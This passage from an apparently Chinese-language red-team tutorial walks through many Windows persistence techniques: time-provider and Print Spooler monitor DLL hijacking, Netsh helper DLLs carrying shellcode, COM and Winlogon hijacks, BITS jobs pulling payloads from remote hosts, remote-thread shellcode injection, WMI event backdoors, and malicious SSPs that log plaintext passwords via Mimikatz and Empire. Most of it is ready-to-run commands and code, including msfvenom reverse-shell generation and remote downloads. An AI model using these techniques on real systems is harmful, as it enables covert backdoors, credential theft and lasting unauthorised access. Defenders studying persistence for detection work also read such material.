  2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer

W32Time将运行在Windows环境作为本地服务,它是通过svchost的执行。
Windows权限维持 - 图47
恶意DLL已放入磁盘中,将执行payload。在命令提示符下,可以通过执行以下命令以指向任意DLL的位置来修改时间提供者注册表项。

  1. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll"

Windows权限维持 - 图48
从注册表编辑器中查看注册表将确认DllName的值已更新。
Windows权限维持 - 图49
该服务将在Windows启动期间启动,或者通过执行以下命令手动启动。

  1. sc.exe stop w32time
  2. sc.exe start w32time

Windows权限维持 - 图50

补充说明

修改Windows时间提供程序可能会向SOC团队发出警报。来自Carbon Black的Scott Lundgren在C中开发了一种称为gametime的时间提供程序。可以使用此DLL来向操作系统注册新的时间提供者,并在其他注册表项中执行修改。这样可以避免滥用现有的Windows时间提供程序,而该时间提供程序可以由SOC监视。Rundll32可用于注册DLL。
Scott Lundgren使用了要在系统上创建的注册表项“ GameTime”。

  1. #define GAMETIME_SVC_KEY_NAME L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"

Windows权限维持 - 图51
根据Microsoft 文档,时间提供者必须实现以下回调函数。

  • TimeProvOpen
  • TimeProvCommand
  • TimeProvClose

TimeProvOpen用于返回提供者句柄,TimeProvCommand用于将命令发送到时间提供者,而TimeProvClose用于关闭时间提供者。

  1. HRESULT __stdcall TimeProvOpen(
  2. _In_ WCHAR *wszName,
  3. _In_ TimeProvSysCallbacks *pSysCallbacks,
  4. _Out_ TimeProvHandle *phTimeProv
  5. )
  6. {
  7. UNREFERENCED_PARAMETER(pSysCallbacks);
  8. UNREFERENCED_PARAMETER(phTimeProv);
  9. OutputDebugStringW(wszName);
  10. return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
  11. }
  12. /*
  13. *
  14. */
  15. HRESULT __stdcall TimeProvCommand(
  16. _In_ TimeProvHandle hTimeProv,
  17. _In_ TimeProvCmd eCmd,
  18. _In_ PVOID pvArgs
  19. )
  20. {
  21. UNREFERENCED_PARAMETER(hTimeProv);
  22. UNREFERENCED_PARAMETER(eCmd);
  23. UNREFERENCED_PARAMETER(pvArgs);
  24. return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
  25. }
  26. /*
  27. *
  28. */
  29. HRESULT __stdcall TimeProvClose(
  30. _In_ TimeProvHandle hTimeProv
  31. )
  32. {
  33. UNREFERENCED_PARAMETER(hTimeProv);
  34. return (S_OK);
  35. }

Windows权限维持 - 图52
GameTime提供程序将在系统上填充以下注册表项,因为它们是Microsoft时间提供程序规范的一部分。

  • DllName,
  • Enabled
  • InputProvider

DLLNAME指示包含供应商,该DLL的名称启用使然是否提供商应在系统启动过程中启动。值“ 1”启动系统的提供者,而InputProvider指示提供者是输入还是输出。注册表值“ 1”表示已输入提供者。这些在下面的代码中指定:

  1. nRet = RegSetValueExW(hkTimeProvider,
  2. L"DllName",
  3. 0,
  4. REG_SZ,
  5. (LPBYTE)g_wzModule,
  6. (DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR));
  7. if (ERROR_SUCCESS != nRet)
  8. {
  9. OutputError(L"RegCreateKeyExW failed", nRet);
  10. goto ErrorExit;
  11. }
  12. nRet = RegSetValueExW(hkTimeProvider,
  13. L"Enabled",
  14. 0,
  15. REG_DWORD,
  16. (LPBYTE)&dwOne,
  17. sizeof(dwOne));
  18. if (ERROR_SUCCESS != nRet)
  19. {
  20. OutputError(L"RegCreateKeyExW failed", nRet);
  21. goto ErrorExit;
  22. }
  23. nRet = RegSetValueExW(hkTimeProvider,
  24. L"InputProvider",
  25. 0,
  26. REG_DWORD,
  27. (LPBYTE)&dwOne,
  28. sizeof(dwOne));
  29. if (ERROR_SUCCESS != nRet)
  30. {
  31. OutputError(L"RegCreateKeyExW failed", nRet);
  32. goto ErrorExit;
  33. }

Windows权限维持 - 图53
该代码还使用Deregister回调函数从系统中删除创建的注册表项GameTime,作为清理过程。

  1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime
  2. void CALLBACK Deregister(
  3. _In_ HWND hWnd,
  4. _In_ HINSTANCE hInst,
  5. _In_ LPSTR pwzCmdLine,
  6. _In_ int nCmdShow)
  7. {
  8. long nRet;
  9. UNREFERENCED_PARAMETER(hWnd);
  10. UNREFERENCED_PARAMETER(hInst);
  11. UNREFERENCED_PARAMETER(pwzCmdLine);
  12. UNREFERENCED_PARAMETER(nCmdShow);
  13. OutputDebugStringW(L"Unregister\n");
  14. nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);
  15. if (ERROR_SUCCESS != nRet)
  16. {
  17. OutputError(L"RegDeleteKeyW failed!", nRet);
  18. goto ErrorExit;
  19. }
  20. ErrorExit:
  21. return;
  22. }

Windows权限维持 - 图54
实际上,可以使用rundll32向系统注册DLL,以便创建关联的注册表项,默认情况下,该注册表项将与系统一起启用新的时间提供程序。

  1. rundll32.exe gametime.dll,Register

Windows权限维持 - 图55
将创建注册表项GameTime,并且DllName将包含DLL的路径。
Windows权限维持 - 图56
再次修改注册表以包含任意DLL,将在服务重新启动期间执行类似于Windows时间提供程序的代码。
Windows权限维持 - 图57
注销功能可用于删除所有相关联的密钥和系统上进行清理。

  1. rundll32.exe gametime.dll,Deregister

Windows权限维持 - 图58

Print Spooler端口监视器

后台打印程序服务负责管理Windows操作系统中的打印作业。与服务的交互通过打印后台处理程序API执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器文件。此函数能够将DLL注入spoolsv.exe进程,并且通过创建注册表项,red team operator可以在系统上实现持久性。
Brady BloxhamDefcon 22上演示了这种持久性技术。应该注意的是,此技术需要管理员级别的特权,并且DLL必须拖放到磁盘上。Mantvydas Baranauskas在他的网站上使用了以下代码,作为他的红队笔记的一部分。
WINDOWS.H报头包括Winspool.h这是由微软规范所需的头。该MONITOR_INFO_2用于指定必要的监控细节是:

  • pName //监视器名称
  • pEnvironment //环境架构
  • pDLLName //监视器DLL文件的名称
    1. #include "Windows.h"
    2. int main() {
    3. MONITOR_INFO_2 monitorInfo;
    4. TCHAR env[12] = TEXT("Windows x64");
    5. TCHAR name[12] = TEXT("Monitor");
    6. TCHAR dll[12] = TEXT("test.dll");
    7. monitorInfo.pName = name;
    8. monitorInfo.pEnvironment = env;
    9. monitorInfo.pDLLName = dll;
    10. AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    11. return 0;
    12. }
    Windows权限维持 - 图59
    编译代码将生成一个可执行文件(在本例中为Monitors.exe),该可执行文件将在系统上执行恶意DLL(test.dll)的注册。Metasploit框架可用于生成将服务于Meterpreter有效负载的DLL文件。
    1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > test.dll
    该DLL必须复制到System32文件夹上,因为根据Microsoft 文档,这是AddMonitor函数的预期位置,以便加载相关的DLL 。
    1. copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
    2. Monitors.exe
    Windows权限维持 - 图60
    Monitors.exe必须与恶意DLL位于同一文件夹(System32)中。执行该文件将与Meterpreter建立通信。
    Windows权限维持 - 图61
    但是,为了实现持久性,在“ Monitors ”注册表位置下需要一个密钥。
    1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
    以下命令将创建一个注册表项,该注册表项将包含值test.dll。从编辑器中查看注册表将验证密钥是否已创建。
    1. reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
    Windows权限维持 - 图62
    下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件。
    下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹(已删除test.dll的文件夹)执行了执行。
    Windows权限维持 - 图63

    Netsh Helper DLL

    Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改。可以通过使用DLL文件来扩展Netsh功能。此功能使红队可以使用此工具来加载任意DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。
    生成恶意的DLL
    1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > /tmp/pentestlab.dll
    Windows权限维持 - 图64
    添加助手dll
    1. netsh
    2. add helper path-to-malicious-dll
    Windows权限维持 - 图65
    每次netsh实用程序启动时,都会执行DLL,并且将建立通信。
    但是,默认情况下,netsh没有计划自动启动。创建将在Windows启动期间执行实用程序的注册表项将在主机上创建持久性。这可以直接从Meterpreter会话或Windows Shell中完成。
    1. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Windows\SysWOW64\netsh"
    2. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v pentestlab -d 'C:\Windows\SysWOW64\netsh'
    Windows权限维持 - 图66
    注册表运行键的替代方法是,可以使用多种其他方法来启动实用程序,例如创建服务或计划任务。

一家总部位于荷兰的IT安全公司,该公司率先在其Github存储库中发布概念证明DLL 。DLL是由Marc Smeets用C编写的,可以对其进行修改以包含自定义的shellcode。Metasploit Framework实用程序“ msfvenom ”可用于生成各种语言的shellcode。

  1. msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b '\x00' -f c

Windows权限维持 - 图67
可以将生成的shellcode注入到Netsh Helper DLL代码中。

  1. #include <stdio.h>
  2. #include <windows.h> // only required if you want to pop calc
  3. #ifdef _M_X64
  4. unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
  5. #else
  6. unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
  7. #endif
  8. // Start a separate thread so netsh remains useful.
  9. DWORD WINAPI ThreadFunction(LPVOID lpParameter)
  10. {
  11. LPVOID newMemory;
  12. HANDLE currentProcess;
  13. SIZE_T bytesWritten;
  14. BOOL didWeCopy = FALSE;
  15. // Get the current process handle
  16. currentProcess = GetCurrentProcess();
  17. // Allocate memory with Read+Write+Execute permissions
  18. newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  19. if (newMemory == NULL)
  20. return -1;
  21. // Copy the shellcode into the memory we just created
  22. didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
  23. if (!didWeCopy)
  24. return -2;
  25. // Yay! Let's run our shellcode!
  26. ((void(*)())newMemory)();
  27. return 1;
  28. }
  29. // define the DLL handler 'InitHelpderDll' as required by netsh.
  30. // See https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx
  31. extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
  32. {
  33. //make a thread handler, start the function as a thread, and close the handler
  34. HANDLE threadHandle;
  35. threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
  36. CloseHandle(threadHandle);
  37. // simple testing by starting calculator
  38. system ("start calc");
  39. // return NO_ERROR is required. Here we are doing it the nasty way
  40. return 0;
  41. }

Windows权限维持 - 图68
与上述方法类似,rtcrowley在他的Github存储库中发布了该方法的PowerShell版本。以下代码可用于执行PowerShell Base64编码的有效负载,并支持两个选项。

  1. #include <stdio.h>
  2. #include <windows.h>
  3. DWORD WINAPI YahSure(LPVOID lpParameter)
  4. {
  5. //Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set payload to b64 unicode.
  6. system("start C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -nonI -nopro -enc \
  7. SQBmACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAcwBpAG8ATgAuACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==");
  8. //Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra procs, but will not open an extra window.
  9. //system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c \
  10. $x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug).debug); \
  11. powershell -nopro -enc $x 2> nul");
  12. return 1;
  13. }
  14. //Custom netsh helper format
  15. extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
  16. {
  17. HANDLE hand;
  18. hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL);
  19. CloseHandle(hand);
  20. return NO_ERROR;
  21. }

Windows权限维持 - 图69
执行“ netsh ”实用程序并使用“ add helper ”命令加载系统中的两个DLL都将执行集成的有效负载。

  1. netsh
  2. add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
  3. add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dll

Windows权限维持 - 图70
当执行“ 添加帮助程序 ”命令以加载DLL文件时,将在以下位置创建注册表项。

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

Windows权限维持 - 图71
应该注意的是,某些可能安装在受感染系统上的VPN客户端可能会自动“ netsh ” 启动,因此可能不需要使用其他方法进行持久化。

COM劫持

介绍

微软在Windows 3.11中引入了(Component Object Model, COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX, COM+, DCOM等)使用,并且在不同的Windows环境中允许互操作性,进程间通信和代码重用。COM对象的滥用使安防团队能够代表受信任的进程执行任意代码。执行COM劫持不需要管理员权限,因为HKCU注册表配置单元中的类在HKLM中的类之前执行。唯一影响高完整性进程(提升)的例外情况是,仅从HKLM位置加载对象,以防止特权提升。
有多种方法可以执行代码,但有几种情况下,COM已被用于持久性攻击中,进行横向移动和防御规避。根据恶意代码执行的方式,在COM劫持期间会使用各种注册表子项。具体如下所示:

  1. InprocServer/InprocServer32
  2. LocalServer/LocalServer32
  3. TreatAs
  4. ProgID

上述子密钥位于以下注册表组中:

  1. HKEY_CURRENT_USER\Software\Classes\CLSID
  2. HKEY_LOCAL_MACHINE\Software\Classes\CLSID

发现COM密钥,以进行劫持
Windows权限维持 - 图72
常见的COM劫持手法有:

  1. 增加缺少的CLSID进行利用
  2. 修改原有CLSID加载的程序
  3. 替换掉CLSID下加载路径的程序

由David Tulis开发的称为acCOMplice的PowerShell脚本可以直接检索系统上存在的缺少的库及其CLSID
Windows权限维持 - 图73

持久化

计划任务

[Get-ScheduledTaskComHandler](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1),该脚本可以检查主机上所有在用户登录时执行并且容易受到COM劫持的预定任务

  1. Import-Module .\Get-ScheduledTaskComHandler.ps1
  2. Get-ScheduledTaskComHandler

Windows权限维持 - 图74
参数“PersistenceLocations”将检索易受COM劫持的计划任务,这些任务可用于持久性且不需要提升的特权。 CLSID和关联的DLL也将显示在输出中。

  1. Get-ScheduledTaskComHandler -PersistenceLocations

Windows权限维持 - 图75
任务“CacheTask”在调用时使用“wininet.dll”并具有以下CLSID:{0358B920-0AC7-461F-98F4-58E32CD89148}
Windows权限维持 - 图76
调用“ schtasks”实用程序获取存储位置

  1. schtasks /query /XML /TN "\Microsoft\Windows\Wininet\CacheTask"

Windows权限维持 - 图77

参考文章

  • 持久性COM劫持的实现
  • Persistence – COM Hijacking
  • COM劫持学习

    Winlogon用户登录初始化

    winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中
    1. HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
    2. HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
    对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。
    命令行修改
    1. reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
    2. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
    Windows权限维持 - 图78
    powershell一句话修改
    1. Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"

    Logon Scripts后门

    Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
    注册表位置:
    1. HKEY_CURRENT_USER\Environment
    增加键值对
    Windows权限维持 - 图79

    文件关联(打开方式)

    文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系,一个文件可以与多个应用程序发生关联。可以利用文件的”打开方式”进行关联选择。
    我们可以用assoc命令显示或修改文件扩展名关联,我们可以看一下.txt文件的关联。
    Windows权限维持 - 图80
    用ftype命令显示或修改用在文件扩展名关联中的文件类型。
    Windows权限维持 - 图81
    修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
    修改注册表(管理员权限)
    1. reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
    再打开txt文件打开的是cmd
    Windows权限维持 - 图82

    Bitsadmin

    Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
    从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载payload(可执行文件,PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与“ bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意payload从远程位置下载到本地目录。
    window7以上自带
    1. .\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe
    Windows权限维持 - 图83
    有一个PowerShell cmdlet可以执行相同的任务
    1. Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination "C:\tmp\pentestlab.exe"
    Windows权限维持 - 图84
    将文件放入磁盘后,可以通过从bitsadmin实用程序执行以下命令来实现持久性。
  1. 在创建参数需要作业的名称
  2. 该addfile需要文件的远程位置和本地路径
  3. 该SetNotifyCmdLine将执行的命令
  4. 所述SetMinRetryDelay定义时间回调(秒)
  5. 激活传输队列中的新作业或挂起的作业
    1. bitsadmin /create backdoor
    2. bitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE" "C:\1.exe"
    3. bitsadmin /SetNotifyCmdLine backdoor C:\1.exe NUL
    4. bitsadmin /SetMinRetryDelay "backdoor" 60
    5. bitsadmin /resume backdoor
    Windows权限维持 - 图85
    参数SetNotifyCmdLine也可以用于通过regsvr32实用程序从远程位置执行scriptlet 。这种方法的好处是它不会接触磁盘,并且可以避开将应用程序列入白名单的产品。
    1. bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll"
    2. bitsadmin /resume backdoor
    Metasploit框架可用于通过web_delivery模块捕获payload。
    1. use exploit/multi/script/web_delivery
    2. set target 3
    3. set payload windows/x64/meterpreter/reverse_tcp
    4. set LHOST 10.0.2.21
    5. exploit
    Windows权限维持 - 图86

    进程注入

    之所以把注入也放到权限维持来说,因为注入更加隐蔽,尤其是拿到高权限后,难以被发现
    如果是user权限可以考虑注入exploer.exe 如果是system权限则可以注入winlogon或者lassa
    关于dll注入网上已经有很多教程,包括突破session 0,使用ZwCreateThreadEx创建一个线程
    同样还有shellcode注入
    一个demo
    1. DWORD CeatRemoThread(DWORD pid)
    2. {
    3. HANDLE hThread;
    4. DWORD dwOldProtect;
    5. DWORD dwThreadId;
    6. int shellcode_size = sizeof(buf);
    7. //混淆
    8. char* newBuf;
    9. decrypt(buf, shellcode_size, (LPVOID*)&newBuf);
    10. HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    11. if (hHandle == NULL)
    12. {
    13. printf("openprocessError");
    14. free(newBuf);
    15. return FALSE;
    16. }
    17. LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    18. SIZE_T dwSize = 0;
    19. WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
    20. //Sleep(3000);
    21. VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
    22. HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
    23. if (hNtdll == NULL)
    24. {
    25. printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
    26. return FALSE;
    27. }
    28. else
    29. {
    30. printf("[*] Load ntdll.dll Successfully!\n");
    31. }
    32. #ifdef _WIN64
    33. typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    34. PHANDLE ThreadHandle,
    35. ACCESS_MASK DesiredAccess,
    36. LPVOID ObjectAttributes,
    37. HANDLE ProcessHandle,
    38. LPTHREAD_START_ROUTINE lpStartAddress,
    39. LPVOID lpParameter,
    40. ULONG CreateThreadFlags,
    41. SIZE_T ZeroBits,
    42. SIZE_T StackSize,
    43. SIZE_T MaximumStackSize,
    44. LPVOID pUnkown
    45. );
    46. #else
    47. typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    48. PHANDLE ThreadHandle,
    49. ACCESS_MASK DesiredAccess,
    50. LPVOID ObjectAttributes,
    51. HANDLE ProcessHandle,
    52. LPTHREAD_START_ROUTINE lpStartAddress,
    53. LPVOID lpParameter,
    54. BOOL CreateSuspended,
    55. DWORD dwStackSize,
    56. DWORD dw1,
    57. DWORD dw2,
    58. LPVOID pUnkown
    59. );
    60. #endif
    61. typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
    62. ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
    63. if (ZwCreateThreadEx == NULL)
    64. {
    65. printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
    66. return FALSE;
    67. }
    68. else
    69. {
    70. printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
    71. }
    72. HANDLE hRemoteThread = NULL;
    73. DWORD ZwRet = 0;
    74. ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
    75. (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
    76. if (hRemoteThread == NULL)
    77. {
    78. printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
    79. getchar();
    80. VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
    81. CloseHandle(hHandle);
    82. FreeLibrary(hNtdll);
    83. return FALSE;
    84. }
    85. WaitForSingleObject(hRemoteThread, INFINITE);
    86. return TRUE;
    87. }

    屏幕保护程序

    利用前提:对方开启了屏幕保护
    屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。
    在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。
    注册表位置:
    1. HKEY_CURRENT_USER\Control Panel\Desktop
    命令行修改:
    1. reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe
    2. New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'
    Windows权限维持 - 图87
    这里可以改成我们的马,达到维持权限的效果,具体时间为注册表的ScreenSaverTimeout值有关

    WMI构造无文件后门

    WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。
    无文件无进程使得他非常隐蔽成为后门,但由于他的隐蔽性现在被大多数杀软所查杀。
    通过与Powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。
    推荐文章

    https://wooyun.js.org/drops/WMI 的攻击,防御与取证分析技术之攻击篇.html

  1. $filterName = 'SD'
  2. $consumerName = 'SDD'
  3. $exePath = 'C:\Windows\System32\cmd.exe'
  4. $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
  5. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
  6. $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
  7. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

可以使用Autoruns进行查看
Windows权限维持 - 图88

安全支持提供者

安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。LSASS进程正在Windows启动期间加载安全支持提供程序DLL。这种行为使红队的攻击者可以删除一个任意的SSP DLL以便与LSASS进程进行交互并记录该进程中存储的所有密码,或者直接用恶意的SSP对该进程进行修补而无需接触磁盘。
该技术可用于收集一个系统或多个系统中的凭据,并将这些凭据与另一个协议(例如RDP,WMI等)结合使用,以免干扰检测,从而在网络中保持持久性。向主机注入恶意安全支持提供程序需要管理员级别的特权,并且可以使用两种方法:

  1. 注册SSP DLL
  2. 加载到内存

Mimikatz,Empire和PowerSploit支持这两种方法,可以在红队操作中使用。

Mimikatz

方法一

项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32 )相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。
将文件传输到C:\Windows\System32\位置后,需要修改注册表项以包括新的安全支持提供程序mimilib

  1. reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

Windows权限维持 - 图89
查看“安全软件包”注册表项将验证是否已注入恶意安全支持提供程序。

  1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Windows权限维持 - 图90
由于注册表已被篡改并且DLL存储在系统中,因此该方法将在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个名为kiwissp的新文件,该文件将记录帐户的凭据。

  1. C:\Windows\System32\kiwissp.log

Windows权限维持 - 图91

方法二

Mimikatz通过向LSASS注入新的安全支持提供程序(SSP)来支持内存技术选项。此技术不需要将mimilib.dll放入磁盘或创建注册表项。但是,缺点是在重新启动过程中不会持续存在。

  1. privilege::debug
  2. misc::memssp

Windows权限维持 - 图92
当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件,其中将包含纯文本用户密码。

  1. C:\Windows\System32\mimilsa.log

Windows权限维持 - 图93

PowerSploit

PowerSploit包含两个可以执行相同任务的脚本。在Mimikatz的PowerShell变体“ Invoke-Mimikatz ”中,执行以下命令将使用内存中技术。

  1. Import-Module .\Invoke-Mimikatz.ps1
  2. Invoke-Mimikatz -Command "misc::memssp"

Windows权限维持 - 图94
或者,将恶意的SSP DDL文件传输到目标主机并使用模块Install-SSP将DLL复制到System32,并将自动修改相关的注册表项。

  1. Import-Module .\PowerSploit.psm1
  2. Install-SSP -Path .\mimilib.dll

Windows权限维持 - 图95

Empire

Empire提供了两个模块,可用于枚举现有的SSP并在目标系统上安装恶意的SSP。默认情况下,枚举模块将使用活动代理,并且不需要任何其他配置。

  1. usemodule persistence/misc/get_ssps
  2. execute

Windows权限维持 - 图96
同样,直接查询注册表可以获取存在的SSP的值。

  1. shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

Windows权限维持 - 图97
将恶意安全支持提供程序复制到System32并更新注册表项将结束该技术。

  1. shell copy mimilib.dll C:\Windows\System32\

Windows权限维持 - 图98
由于Empire包含一个模块,该过程可以自动进行,该模块将自动将DLL文件复制到System32并创建注册表项。唯一的要求是在主机上设置mimilib.dll文件的路径。

  1. usemodule persistence/misc/install_ssp*
  2. set Path C:\Users\Administrator\mimilib.dll
  3. execute

Windows权限维持 - 图99
Empire还支持可以执行自定义Mimikatz命令的脚本。

  1. usemodule credentials/mimikatz/command
  2. set Command misc::memssp
  3. execute

Windows权限维持 - 图100
Empire还支持在进程的内存中注入恶意SSP。下面的模块将调用Mimikatz脚本并直接执行memssp命令,作为使该技术自动化的另一种方法。

  1. usemodule persistence/misc/memssp*
  2. execute

Windows权限维持 - 图101

SharpSploitConsole

Mimikatz已集成到SharpSploitConsole中,该应用程序旨在与Ryan Cobb发布的SharpSploit进行交互。SharpSploit是一个.NET后期开发库,具有与PowerSploit类似的功能。当前,SharpSploitConsole通过Mimikatz模块支持内存技术。

  1. SharpSploitConsole_x64.exe Interact
  2. Mimi-Command misc::memssp

Windows权限维持 - 图102

参考链接